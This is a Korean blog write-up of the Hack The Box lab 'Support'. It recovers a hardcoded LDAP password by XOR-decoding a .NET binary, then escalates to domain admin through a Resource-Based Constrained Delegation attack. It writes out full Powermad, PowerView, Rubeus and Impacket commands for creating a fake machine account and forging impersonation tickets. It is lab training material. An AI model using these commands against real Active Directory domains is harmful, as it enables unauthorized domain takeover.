Hack The Box/Lab

Support

YujinSec 2026. 6. 27. 13:03

 

먼저 nmap. 기존 옵션이 부족해서 추가해줌

추가 먼저 해주고. 

smb 접속 ㄱㄱ

접속 성공! 이 중 뭘 먼저 분석할지는 지피티에게 물어봄.

우리는 계정 탈취를 해야하니 딱 보이는 저 유저인포를 해보자. 다운 ㄱ

일단 파일 정보 확인을 해본다. 

다음은 저 net파일이라는 걸 분석하기 위해, ILSpy를 다운로드 해줌. 
이때 저 net이란 뭘까?

리버싱에서 익숙한 ida툴을 쓰고 싶었는데, 그건 비추라 한다..ILSPY가 더 간단하다 함. 다운 먼저 하자.

압축 해제,, 

폴더 경로를 몰라서, 파일 명 검색으로 찾아줌. 

권한 주고, ILSpy 실행ㄱ

 
USER.INFO 파일을 OPEN함. 

보면 안에 있던 기존 코드 내용을 볼 수 있다.
각 함수들을 살펴보자. 
그 중 유의미한 함수는 다음과 같다. LdapQuery함수 먼저. 

계정 명 LDAP에 대해 비밀번호와 함께 조합하는 듯 하다. 
비번도 획득하자. 이건 복호화 함수같다. 

 base64변환해주고, 인덱스별 키랑 xor해주는 듯

저 코드를 직접 복호화 해보자. 이건 리버싱에서 많이 해본 방식과 익숙하다,,,
복화화 코드)(이건 지피티에게 짜달라했다)

import base64

encoded_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
xor_key = "armando"
xor_value = 0xDF

decoded_bytes = base64.b64decode(encoded_password)
result = ""

for i in range(len(decoded_bytes)):
    key_byte = ord(xor_key[i % len(xor_key)])
    decrypted_byte = decoded_bytes[i] ^ key_byte ^ xor_value
    result += chr(decrypted_byte)

print(result)

결과)
비밀번호: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

 
이제 LDAP에 접속을 시도해보려 함. 유틸은 이미 설치됨. 검색 ㄱㄱ

 
계정-비번 조합이 확인 되었다!

 
ID: support
PW: Ironside47pleasure40Watchful
 
위에 적힌 MEMBER OF 도 해석하자면 이렇다
>> WinRM 접속 가능 그룹에 속함
>> 추후 권한상승에 쓸 Shared Support Accounts 그룹에도 속함
 
바로 접속 시도 ㄱㄱ

 
유저 플래그 획득!

 
 
이제 루트 플래그를 딸 차례다,,

 
이제부터는 이전 FOREST처럼 블러드 하운드를 사용할거임. 

먼저 샤프하운드 먼저 다운받아 업로드 후 실행~


이제 블러드 하운드 켜줌. (팀원분 추천으로 중간에 래거시대신 CE로 재설치 해줬다)

 

shortest paths from owned principals> 

Find all Domain Admins>

 

Find Shortest Paths to Domain Admins>

 

+ 추가로 버전 CE로 분석해봄. 이 버전에 pathfinding이 있음. 

(참고로 CanPSRemote를 필터에서 꺼주는 것을 추천. 경로를 최소한으로 보여주다보니 생략 넘 많다)

 

권한 정리)

CanPSRemote: 이건 그냥 내 support계정이 winRM같은 권환 가진다는 뜻. 이미 내가 한 과정임. 

GenericAll: 앞 머신 forest에도 나온 핵심 권한. 대상 AD 객체에 대한 거의 모든 제어 권한. 즉, support 계정이 저 객체에 대한 무언가 조작이 가능하다는 소리이다. 

 

여기서 저 genericAll을 어떻게 활용할지 세부 정보를 확인하자. 

 

설명 번역) 

윈도우) 

Shadow Credentials 공격

이 권한을 악용하려면 Whisker를 사용한다.

현재 실행 중인 프로세스가 SHARED SUPPORT ACCOUNTS@SUPPORT.HTB의 구성원 권한으로 실행 중이 아니라면, 먼저 해당 그룹 구성원 계정으로 도메인 컨트롤러에 인증해야 할 수 있다.

 
Whisker.exe add /target:<TargetPrincipal>
 

다른 선택 옵션은 Whisker 문서를 참고하면 된다.


RBCD 공격

이 권한은 Rubeus 프로젝트를 통해 악용할 수 있다.

먼저 공격자가 SPN이 설정된 계정을 가지고 있지 않다면, Kevin Robertson의 Powermad 프로젝트를 사용해서 공격자가 제어하는 새 컴퓨터 계정을 만들 수 있다.

 
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
 

그 다음 PowerView를 사용해서 방금 만든 컴퓨터 계정의 SID를 가져온다.

 
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
 

이제 공격자가 추가한 컴퓨터 계정의 SID를 principal로 하는 ACE를 만들고, 새 DACL/ACE의 바이너리 바이트를 만든다.

 
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
 

그 다음 이 새 보안 설명자를 우리가 장악하려는 컴퓨터 계정의 msDS-AllowedToActOnBehalfOfOtherIdentity 필드에 설정한다. 여기서는 PowerView를 사용한다.

 
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
 

이제 Rubeus를 사용해서 평문 비밀번호를 RC4_HMAC 해시 형태로 바꾼다.

 
Rubeus.exe hash /password:Summer2018!
 

마지막으로 Rubeus의 s4u 모듈을 사용해서 우리가 admin인 척하고 싶은 서비스 이름, 즉 sname에 대한 서비스 티켓을 얻는다. /ptt 옵션 덕분에 이 티켓은 현재 세션에 바로 주입된다. 이 경우 TARGETCOMPUTER의 파일 시스템에 접근할 수 있게 된다.

 
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
 

 

리눅스)

먼저, 공격자가 SPN이 설정된 계정을 제어하고 있지 않은 경우, Impacket의 addcomputer.py 예제 스크립트를 사용해서 공격자가 제어하는 새 컴퓨터 계정을 추가할 수 있다.

addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'
 

이제 공격자가 제어하는 컴퓨터 계정이 대상 객체에 위임할 수 있도록, 대상 객체를 설정해야 한다. 이 작업에는 Impacket의 rbcd.py 스크립트를 사용할 수 있다.

 
rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'
 

마지막으로, 우리가 “admin인 척” 접근하고 싶은 서비스 이름, 즉 sname에 대한 서비스 티켓을 얻을 수 있다. 이 작업에는 Impacket의 getST.py 예제 스크립트를 사용할 수 있다.

 
getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'
 

이 티켓은 이후 Pass-the-Ticket 공격에 사용할 수 있으며, TARGETCOMPUTER의 파일 시스템에 접근 권한을 줄 수도 있다.


즉, 설명에 따르면 RBCD라는 방식을 사용하는 것 같은데, 이해가 안가서 다시 질문 ㄱㄱ

정리하자면 이렇다.
RBCD = Resource-Based Constrained Delegation

delegation: 서버가 다른 서버를 대신해 인증 받는 방식.
> 기존 방식: 서비스를 제공해주는 서버에서 저 delegation을 설정함
> 우리가 할 방식: 기존의 반대. 서비스 제공해주는 쪽이 아닌, 리소스를 가진 서비스를 받는 측에서 저 delegation을 사용해주는 것.

이제 블러드 하운드 설명에 따라 우리가 할 과정은 다음과 같다.

(다음 과정은 지피티를 통해 저 위 번역을 복붙해서, 내가 어떻게 할 수 있을지 질문해보았다)

 

 

취약 조건 만족하는지 확인) 

MachineAccountQuota 확인> 값이 0보다 큰 걸 확인.

 

DC의 RBCD 설정이 비어있는지 확인>

 

필요 툴 설치) - 아래 공격 과정에서 필요할 때마다 각각 설치+winRM에 업로드 해줘야 함,, 

PowerView.ps1: AD 정보 확인 시 사용 

Powermad.ps1: New-MachineAccount 함수를 쓰려고 필요함.

업로드 후 확인

 

Rubeus.exe: Kerberos 티켓 만들 때 씀.

 


공격)
가짜 컴퓨터 계정 만들기>


dc에 가짜 컴퓨터 계정 등록> 

gpt 안내에 따라 비어있는지 확인 

 

그리고 dc에 등록함.

설정 후 확인,, 


 방금은 dc에서 비워있던 게, 지금은 뭔가 채워짐

 

티켓 가져오기 >

툴 Rubeus.exe라는 걸 사용 


물어보니 rc4_hmac값을 복사하면 된다고 한다. 
 이게 내 가짜 컴터의 rc4해시가 됨.

 

이제 티켓만 받으면 된다.

FAKE-COMP01$ 컴퓨터 계정으로 관리자인 척해서 dc.support.htb의 CIFS 티켓을 받으면 됨. 

결과가 긴데, 여기서 마지막 티켓만 받으면 됨. 

우선 마지막 티켓 그대로 복붙해서 파일 생성 ㄱ

혹시 모르니 공백 제거

base64 디코딩

(확인)

 

kirbi → ccache 변환>

기존 티켓은 타겟 윈도우에 대한 티켓이라, 리눅스 형식으로 티켓 변환히 필요하다 함. 

(확인)

 

티켓 적용>

 

마지막!!! 쉘 따기!!!

 

 

플래그 획득!

 

'Hack The Box > Lab' 카테고리의 다른 글

Reactor  (0) 2026.07.10
Silentium  (1) 2026.07.04
Forest  (0) 2026.06.14
CCTV  (0) 2026.06.06
Facts  (0) 2026.05.23